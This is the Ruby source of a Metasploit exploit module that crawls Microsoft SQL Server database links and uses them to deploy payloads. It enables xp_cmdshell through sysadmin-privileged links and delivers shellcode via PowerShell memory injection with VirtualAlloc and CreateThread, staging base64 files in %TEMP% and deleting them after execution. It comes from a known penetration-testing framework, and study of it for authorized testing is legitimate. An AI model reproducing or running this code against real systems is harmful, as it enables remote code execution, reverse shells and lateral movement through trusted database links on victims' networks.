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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
8

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  include Msf::Exploit::Remote::MSSQL
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::CmdStager
12

13
  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Microsoft SQL Server Database Link Crawling Command Execution',
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      'Description'    => %q{
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          This module can be used to crawl MS SQL Server database links and deploy
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        Metasploit payloads through links configured with sysadmin privileges using a
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        valid SQL Server Login.
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          If you are attempting to obtain multiple reverse shells using this module we
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        recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
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        up a exploit/multi/handler to run in the background as a job to support multiple incoming
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        shells.
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26
          If you are interested in deploying payloads to specific servers this module also
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        supports that functionality via the "DEPLOYLIST" option.
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          Currently, the module is capable of delivering payloads to both 32bit and 64bit
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        Windows systems via powershell memory injection methods based on Matthew Graeber's
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        work. As a result, the target server must have powershell installed. By default,
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        all of the crawl information is saved to a CSV formatted log file and MSF loot so
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        that the tool can also be used for auditing without deploying payloads.
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      },
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      'Author'         =>
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        [
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          'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
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          'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
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        ],
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      'Platform'      => [ 'win' ],
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      'Arch'           => [ ARCH_X86, ARCH_X64 ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
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          ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
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          ['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
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        ],
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      'DisclosureDate' => '2000-01-01',
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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        ],
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      'CmdStagerFlavor' => 'vbs',
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      'DefaultTarget'  => 0
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    ))
57

58
    register_options(
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      [
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        OptBool.new('DEPLOY',       [false, 'Deploy payload via the sysadmin links', false]),
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        OptString.new('DEPLOYLIST', [false,'Comma separated list of systems to deploy to']),
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        OptString.new('PASSWORD',   [true, 'The password for the specified username'])
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      ])
64

65
    register_advanced_options(
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      [
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        OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
68
      ])
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  end
70

71
  def exploit
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    # Display start time
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    time1 = Time.new
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    print_status("-------------------------------------------------")
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    print_status("Start time : #{time1.inspect}")
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    print_status("-------------------------------------------------")
77

78
    # Check if credentials are correct
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    print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
80

81
    if !mssql_login_datastore
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      print_error("Invalid SQL Server credentials")
83
      print_status("-------------------------------------------------")
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      return
85
    end
86

87
    # Define master array to keep track of enumerated database information
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    masterList = Array.new
89
    masterList[0] = Hash.new            # Define new hash
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    masterList[0]["name"] = ""          # Name of the current database server
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    masterList[0]["db_link"] = ""       # Name of the linked database server
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    masterList[0]["db_user"] = ""       # User configured on the database server link
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    masterList[0]["db_sysadmin"] = ""   # Specifies if  the database user configured for the link has sysadmin privileges
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    masterList[0]["db_version"] = ""    # Database version of the linked database server
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    masterList[0]["db_os"] = ""         # OS of the linked database server
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    masterList[0]["path"] = [[]]        # Link path used during crawl - all possible link paths stored
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    masterList[0]["done"] = 0           # Used to determine if linked need to be crawled
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99
    shelled = Array.new                 # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
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101
    # Setup query for gathering information from database servers
102
    versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
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    (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
104
    (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
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    CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
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    -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
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    master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
108

109
    # Create loot table to store configuration information from crawled database server links
110
    linked_server_table = Rex::Text::Table.new(
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      'Header'  => 'Linked Server Table',
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      'Indent'   => 1,
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      'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
114
    )
115
    save_loot = ""
116

117
    # Start crawling through linked database servers
118
    while masterList.any? {|f| f["done"] == 0}
119
      # Find the first DB server that has not been crawled (not marked as done)
120
      server = masterList.detect {|f| f["done"] == 0}
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122
      # Get configuration information from the database server
123
      sql = query_builder(server["path"].first,"",0,versionQuery)
124
      result = mssql_query(sql, false) if mssql_login_datastore
125
      parse_results = result[:rows]
126
      parse_results.each { |s|
127
        server["name"] = s[0]
128
        server["db_user"] = s[1]
129
        server["db_sysadmin"] = s[5]
130
        server["db_version"] =  s[3]
131
        server["db_os"] = s[4]
132
        server["numlinks"] = s[6]
133
      }
134
      if masterList.length == 1
135
        print_good("Successfully connected to #{server["name"]}")
136
        if datastore['VERBOSE']
137
          show_configs(server["name"],parse_results,true)
138
        elsif server["db_sysadmin"] == 1
139
          print_good("Sysadmin on #{server["name"]}")
140
        end
141
      end
142
      if server["db_sysadmin"] == 1
143
        enable_xp_cmdshell(server["path"].first,server["name"],shelled)
144
      end
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146
      # If links were found, determine if they can be connected to and add to crawl list
147
      if (server["numlinks"] > 0)
148
        # Enable loot
149
        save_loot = "yes"
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151
        # Select a list of the linked database servers that exist on the current database server
152
        print_status("")
153
        print_status("-------------------------------------------------")
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        print_status("Crawling links on #{server["name"]}...")
155
        # Display number db server links
156
        print_status("Links found: #{server["numlinks"]}")
157
        print_status("-------------------------------------------------")
158
        execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
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        sql = query_builder(server["path"].first,"",0,execute)
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        result = mssql_query(sql, false) if mssql_login_datastore
161

162
        result[:rows].each {|name|
163
          name.each {|name|
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165
            # Check if link works and if sysadmin permissions - temp array to save orig server[path]
166
            temppath = Array.new
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            temppath = server["path"].first.dup
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            temppath << name
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170
            # Get configuration information from the linked server
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            sql = query_builder(temppath,"",0,versionQuery)
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            result = mssql_query(sql, false) if mssql_login_datastore
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174
            # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
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            if result[:errors].empty? and result[:rows] != nil then
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              # Assign db query results to variables for hash
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              parse_results = result[:rows]
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179
              # Add link server information to loot
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              link_status = 'up'
181
              write_to_report(name,server,parse_results,linked_server_table,link_status)
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183
              # Display link server information in verbose mode
184
              if datastore['VERBOSE']
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                show_configs(name,parse_results)
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                print_status("  o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
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              else
188
                if parse_results[0][5] == 1
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                  print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
190
                else
191
                  print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
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                end
193
              end
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195
              # Add link to masterlist hash
196
              unless masterList.any? {|f| f["name"] == name}
197
                masterList << add_host(name,server["path"].first,parse_results)
198
              else
199
                (0..masterList.length-1).each do |x|
200
                  if masterList[x]["name"] == name
201
                    masterList[x]["path"] << server["path"].first.dup
202
                    masterList[x]["path"].last << name
203
                    unless shelled.include?(name)
204
                      if parse_results[0][2]==1
205
                        enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
206
                      end
207
                    end
208
                  else
209
                    break
210
                  end
211
                end
212
              end
213
            else
214
              # Add to report
215
              linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
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217
              # Display status to user
218
              if datastore['VERBOSE']
219
                print_status(" ")
220
                print_error("Linked Server: #{name} ")
221
                print_error("  o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
222
                print_status("    Failure could be due to:")
223
                print_status("    - A dead server")
224
                print_status("    - Bad credentials")
225
                print_status("    - Nested open queries through SQL 2000")
226
              else
227
                print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
228
              end
229
            end
230
          }
231
        }
232
      end
233
      # Set server to "crawled"
234
      server["done"]=1
235
    end
236

237
    print_status("-------------------------------------------------")
238

239
    # Setup table for loot
240
    this_service = nil
241
    if framework.db and framework.db.active
242
      this_service = report_service(
243
        :host  => mssql_client.peerhost,
244
        :port => mssql_client.peerport,
245
        :name => 'mssql',
246
        :proto => 'tcp'
247
      )
248
    end
249

250
    # Display end time
251
    time1 = Time.new
252
    print_status("End time : #{time1.inspect}")
253
    print_status("-------------------------------------------------")
254

255
    # Write log to loot / file
256
    if (save_loot=="yes")
257
      filename= "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"
258
      path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers",this_service)
259
      print_good("Results have been saved to: #{path}")
260
    end
261
  end
262

263
  # ---------------------------------------------------------------------
264
  # Method that builds nested openquery statements using during crawling
265
  # ---------------------------------------------------------------------
266
  def query_builder(path,sql,ticks,execute)
267

268
    # Temp used to maintain the original masterList[x]["path"]
269
    temp = Array.new
270
    path.each {|i| temp << i}
271

272
    # Actual query - defined when the function originally called - ticks multiplied
273
    if path.length == 0
274
      return execute.gsub("'","'"*2**ticks)
275

276
    # openquery generator
277
    else
278
      sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
279
      return sql
280
    end
281
  end
282

283
  # ---------------------------------------------------------------------
284
  # Method that builds nested openquery statements using during crawling
285
  # ---------------------------------------------------------------------
286
  def query_builder_rpc(path,sql,ticks,execute)
287

288
    # Temp used to maintain the original masterList[x]["path"]
289
    temp = Array.new
290
    path.each {|i| temp << i}
291

292
    # Actual query - defined when the function originally called - ticks multiplied
293
    if path.length == 0
294
      return execute.gsub("'","'"*2**ticks)
295

296
    # Openquery generator
297
    else
298
      exec_at = temp.shift
299
      quotes = "'"*2**ticks
300
      sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
301
      return sql
302
    end
303
  end
304

305
  # ---------------------------------------------------------------------
306
  # Method for adding new linked database servers to the crawl list
307
  # ---------------------------------------------------------------------
308
  def add_host(name,path,parse_results)
309

310
    # Used to add new servers to masterList
311
    server = Hash.new
312
    server["name"] = name
313
    temppath = Array.new
314
    path.each {|i| temppath << i }
315
    server["path"] = [temppath]
316
    server["path"].first << name
317
    server["done"] = 0
318
    parse_results.each {|stuff|
319
      server["db_user"] = stuff.at(1)
320
      server["db_sysadmin"] = stuff.at(2)
321
      server["db_version"] =  stuff.at(3)
322
      server["db_os"] = stuff.at(4)
323
      server["numlinks"] = stuff.at(6)
324
    }
325
    return server
326
  end
327

328
  # ---------------------------------------------------------------------
329
  # Method to display configuration information
330
  # ---------------------------------------------------------------------
331
  def show_configs(i,parse_results,entry=false)
332

333
    print_status(" ")
334
    parse_results.each {|stuff|
335

336
      # Translate syadmin code
337
      status = stuff.at(5)
338
      if status == 1 then
339
        dbpriv = "sysadmin"
340
      else
341
        dbpriv = "user"
342
      end
343

344
      # Display database link information
345
      if entry == false
346
        print_status("Linked Server: #{i}")
347
        print_status("  o Link user: #{stuff.at(1)}")
348
        print_status("  o Link privs: #{dbpriv}")
349
        print_status("  o Link version: #{stuff.at(3)}")
350
        print_status("  o Link OS: #{stuff.at(4).strip}")
351
        print_status("  o Links on server: #{stuff.at(6)}")
352
      else
353
        print_status("Server: #{i}")
354
        print_status("  o Server user: #{stuff.at(1)}")
355
        print_status("  o Server privs: #{dbpriv}")
356
        print_status("  o Server version: #{stuff.at(3)}")
357
        print_status("  o Server OS: #{stuff.at(4).strip}")
358
        print_status("  o Server on server: #{stuff.at(6)}")
359
      end
360
    }
361
  end
362

363
  # ---------------------------------------------------------------------
364
  # Method for generating the report and loot
365
  # ---------------------------------------------------------------------
366
  def write_to_report(i,server,parse_results,linked_server_table,link_status)
367
    parse_results.each {|stuff|
368
      # Parse server information
369
      db_link_user = stuff.at(1)
370
      db_link_sysadmin = stuff.at(2)
371
      db_link_version =  stuff.at(3)
372
      db_link_os = stuff.at(4)
373

374
      # Add link server to the reporting array and set link_status to 'up'
375
      linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
376

377
      return linked_server_table
378
    }
379
  end
380

381
  # ---------------------------------------------------------------------
382
  # Method for enabling xp_cmdshell
383
  # ---------------------------------------------------------------------
384
  def enable_xp_cmdshell(path,name,shelled)
385
    # Enables "show advanced options" and xp_cmdshell if needed and possible
386
    # They cannot be enabled in user transactions (i.e. via openquery)
387
    # Only enabled if RPC_Out is enabled for linked server
388
    # All changes are reverted after payload delivery and execution
389

390
    # Check if "show advanced options" is enabled
391
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
392
    sql = query_builder(path,"",0,execute)
393
    result = mssql_query(sql, false) if mssql_login_datastore
394
    saoOrig = result[:rows].pop.pop
395

396
    # Check if "xp_cmdshell" is enabled
397
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
398
    sql = query_builder(path,"",0,execute)
399
    result = mssql_query(sql, false) if mssql_login_datastore
400
    xpcmdOrig = result[:rows].pop.pop
401

402
    # Try blindly to enable "xp_cmdshell" on the linked server
403
    # Note:
404
    # This only works if rpcout is enabled for all links in the link path.
405
    # If that is not the case it fails cleanly.
406
    if xpcmdOrig == 0
407
      if saoOrig == 0
408
        # Enabling show advanced options and xp_cmdshell
409
        execute = "sp_configure 'show advanced options',1;reconfigure"
410
        sql = query_builder_rpc(path,"",0,execute)
411
        result = mssql_query(sql, false) if mssql_login_datastore
412
      end
413

414
      # Enabling xp_cmdshell
415
      print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
416
      execute = "sp_configure 'xp_cmdshell',1;reconfigure"
417
      sql = query_builder_rpc(path,"",0,execute)
418
      result = mssql_query(sql, false) if mssql_login_datastore
419
    end
420

421
    # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
422
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
423
    sql = query_builder(path,"",0,execute)
424
    result = mssql_query(sql, false) if mssql_login_datastore
425
    xpcmdNow = result[:rows].pop.pop
426

427
    if xpcmdNow == 1 or xpcmdOrig == 1
428
      print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
429
      if datastore['DEPLOY']
430
        print_status("Ready to deploy a payload #{name}")
431
        if datastore['DEPLOYLIST']==""
432
          datastore['DEPLOYLIST'] = nil
433
        end
434
        if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
435
          print_status("\t - Checking if #{name} is on the deploy list...")
436
        end
437
        if datastore['DEPLOYLIST'] != nil
438
          deploylist = datastore['DEPLOYLIST'].upcase.split(',')
439
        end
440
        if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
441
          if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
442
            print_status("\t - #{name} is on the deploy list.")
443
          end
444
          unless shelled.include?(name)
445
            powershell_upload_exec(path)
446
            shelled << name
447
          else
448
            print_status("Payload already deployed on #{name}")
449
          end
450
        elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
451
          print_status("\t - #{name} is not on the deploy list")
452
        end
453
      end
454
    else
455
      print_error("\t - Unable to enable xp_cmdshell on " + name)
456
    end
457

458
    # Revert soa and xp_cmdshell to original state
459
    if xpcmdOrig == 0 and xpcmdNow == 1
460
      print_status("\t - Disabling xp_cmdshell on " + name)
461
      execute = "sp_configure 'xp_cmdshell',0;reconfigure"
462
      sql = query_builder_rpc(path,"",0,execute)
463
      result = mssql_query(sql, false) if mssql_login_datastore
464
    end
465
    if saoOrig == 0 and xpcmdNow == 1
466
      execute = "sp_configure 'show advanced options',0;reconfigure"
467
      sql = query_builder_rpc(path,"",0,execute)
468
      result = mssql_query(sql, false) if mssql_login_datastore
469
    end
470
  end
471

472
  # ----------------------------------------------------------------------
473
  # Method that delivers shellcode payload via powershell thread injection
474
  # ----------------------------------------------------------------------
475
  def powershell_upload_exec(path)
476

477
    # Create powershell script that will inject shell code from the selected payload
478
    myscript ="$code = @\"
479
[DllImport(\"kernel32.dll\")]
480
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
481
[DllImport(\"kernel32.dll\")]
482
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
483
[DllImport(\"msvcrt.dll\")]
484
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
485
\"@
486
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
487
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
488
$size = 0x1000
489
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
490
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
491
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
492
$winFunc::CreateThread(0,0,$x,0,0,0)"
493

494
    # Unicode encode powershell script
495
    mytext_uni = Rex::Text.to_unicode(myscript)
496

497
    # Base64 encode unicode
498
    mytext_64 = Rex::Text.encode_base64(mytext_uni)
499

500
    # Generate random file names
501
    rand_filename = rand_text_alpha(8)
502
    var_duplicates = rand_text_alpha(8)
503

504
    # Write base64 encoded powershell payload to temp file
505
    # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
506
    # Also, line number tracking was added so that duplication lines caused by nested linked
507
    # queries could be found and removed.
508
    print_status("Deploying payload...")
509
    linenum = 0
510
    mytext_64.scan(/.{1,2500}/).each {|part|
511
      execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
512
      sql = query_builder(path,"",0,execute)
513
      result = mssql_query(sql, false) if mssql_login_datastore
514
      linenum = linenum+1
515
    }
516

517
    # Remove duplicate lines from temp file and write to new file
518
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
519
    sql = query_builder(path,"",0,execute)
520
    result = mssql_query(sql, false) if mssql_login_datastore
521

522
    # Remove tracking tags from lines
523
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
524
    sql = query_builder(path,"",0,execute)
525
    result = mssql_query(sql, false) if mssql_login_datastore
526

527
    # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
528
    # If running on 64bit system, 32bit powershell called from syswow64
529
    powershell_cmd =  "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
530
    '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
531
    -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
532
    powershell_uni = Rex::Text.to_unicode(powershell_cmd)
533
    powershell_64 = Rex::Text.encode_base64(powershell_uni)
534

535
    # Setup query
536
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
537
    sql = query_builder(path,"",0,execute)
538

539
    # Execute the playload
540
    print_status("Executing payload...")
541
    result = mssql_query(sql, false) if mssql_login_datastore
542
    # Remove payload data from the target server
543
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
544
    sql = query_builder(path,"",0,execute)
545
    result = mssql_query(sql,false)
546
  end
547
end
548

549